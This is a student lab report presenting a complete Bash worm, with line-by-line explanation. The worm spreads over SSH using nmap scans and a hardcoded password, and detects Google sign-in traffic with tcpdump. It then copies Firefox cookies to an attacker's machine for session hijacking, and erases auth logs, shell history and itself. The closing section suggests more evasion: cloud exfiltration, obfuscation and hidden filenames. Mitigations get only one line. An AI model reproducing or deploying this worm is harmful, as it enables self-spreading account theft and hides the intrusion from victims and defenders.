OSS Lab Project 2024 - Computer worm written in Bash

Pratham Tharwani (2021UCP1001)
Jatin Thakur (2021UCP1047)

Overview

A computer worm is a malicious program that replicates itself across computer networks without any human intervention.

For our project we have built a computer worm that steals cookies from any remote host that it infects, and sends it to the attacking device.

Stolen cookies allow an attacker to perform a session hijacking attack, granting access to accounts and bypassing the need for passwords or OTPs.

Objectives

- The worm should replicate itself across the network using ‘Nmap’ and ‘SSH’, without any human intervention.
- The worm should detect when a login page is accessed before copying the cookies to ensure success of the attack. ‘TCPDUMP’ was used for this purpose.
- The worm should leave behind no traces of it existing, as well as be difficult to trace back to the source.

Code explanation (lines 1 - 18)

This part of the code gathers all the required information and installs any required dependencies.

- Lines 3 and 4 use the ‘ip address show’ command to get the details about the current hosts IP address and network mask.
- Lines 9 - 13 define a function that checks for the existence of a command line program, and if not found, installs that program. This function is then called on ‘Nmap’ and ‘sshpass’, which are required for the worm to work.
- Line 18 uses ‘Nmap’ to scan the current network for any devices that have port 22 (SSH port) open. The IP addresses are extracted by ‘awk’ and stored in an array.

```
1  #!/bin/bash
2
3  myip=$(ip -4 -o address show enp1s0 | awk '{print $4}' | cut -d '/' -f 1)
4  mask=$(ip -4 -o address show enp1s0 | awk '{print $4}' | cut -d '/' -f 2)
5  username="pratham"
6  password="ubuntu"
7  home_ip="192.168.122.108"
8
9  check_and_install() {
10 »   if [ ! -f /usr/bin/"$1" ]; then
11 »   »   echo "$password" | sudo -S apt-get install -y "$1" &> /dev/null
12 »   fi
13 }
14
15 check_and_install sshpass
16 check_and_install nmap
17
18 readarray -t ip_array < <(nmap --open -oG - -p22 "$myip"/"$mask" | awk '!visited[$2]++ && NR > 1 { print $2 }')
```

Source code (lines 1 - 18)

Code explanation (lines 20 - 28)

This part of the code handles the self replication across the network.

- For each IP that isn't the IP of the current host, we check if it's already infected using an 'SSH' command.
- If it's not already infected, we use 'SCP' to copy the worm to the destination IP.
- Another 'SSH' command is used to start the worm on the remote host in the background, and then close the SSH session so that execution can continue.

```
20  for ip in "${ip_array[@]}"; do
21      if [[ "$ip" != "$myip" ]]; then
22          if ! (sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$username"@"$ip" "[ -f $0 ]"); then
23              sshpass -p "$password" scp -p -o StrictHostKeyChecking=no /home/"$username"/$0 "$username"@"$ip":/home/"$username"/$0
24              sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$username"@"$ip" "/home/"$username"/$0 > /dev/null 2>&1 &"
25              sleep 2
26          fi
27      fi
28  done
```

Source code (lines 20 - 28)

Code explanation (lines 30 - 40)

This is the main part of the code that handles cookie stealing and cleanup.

- The call to ‘tcpdump’ on line 30 blocks until 100 packets are captured between the current host and the Google sign in page. From experimentation we found that 150-200 packets are exchanged between the two hosts on a normal access, so this line reliably detects if the user on the machine has accessed the Google sign in page.
- After ‘tcpdump’ exits, we wait for 60 seconds so that the user can finish signing in.
- We then kill Firefox and copy the cookie file to the attackers computer.
- We clear the authorization logs and command history, as well as delete the script itself to make detection even more difficult. After this the script exits.

```
30  $(echo "$password" | sudo -S tcpdump -c100 -nl host "$myip" and accounts.google.com > /dev/null 2>&1)
31  sleep 60
32
33  pkill firefox
34
35  sshpass -p "$password" scp -p -o StrictHostKeyChecking=no /home/"$username"/.mozilla/firefox/*default-release/cookies.sqlite "$username"@"$home_ip":/home/"$username"/"$myip"_cookies.sqlite
36
37  echo "$password" | sudo bash -c "cat /dev/null > /var/log/auth.log"
38  rm -- "$0"
39  history -c
40  history -w
41
```

Source code (lines 30 - 40)

Learning Outcomes

- We learned how to use Nmap to detect hosts on the network that may be vulnerable to attack.
- We learned how to use TCPDUMP to detect when certain websites are being accessed.
- We learned how cookies can be used to perform a session hijack, an attack that grants access to an account, bypassing passwords and multi factor authentication.
- We learned how to use SSH to execute commands on a remote host and use that to make a self replicating program.
- We learned the basics of shell scripting and Linux utilities such as ‘awk’, ‘grep’, ‘cut’ etc.

Closing thoughts

- Since the worm replicates itself across the network instead of spreading from a central computer, it is much harder to track down the attacker.
- Since logs and the script itself are deleted after running, it is difficult to immediately detect what attack has happened
- In the current implementation we can track down the attacker by checking the IP that the cookies are sent to, but this can be mitigated by sending the cookies to a cloud server.
- The script itself can be further hidden by using a shell compiler or obfuscator.
- The script can be hidden by giving it an innocuous name and prepending the name with a ‘.’
- Possible ways to prevent this attack - close SSH ports, randomize the passwords or usernames on each host, remove root privileges from the default account and instead have students use a virtual machine on the host.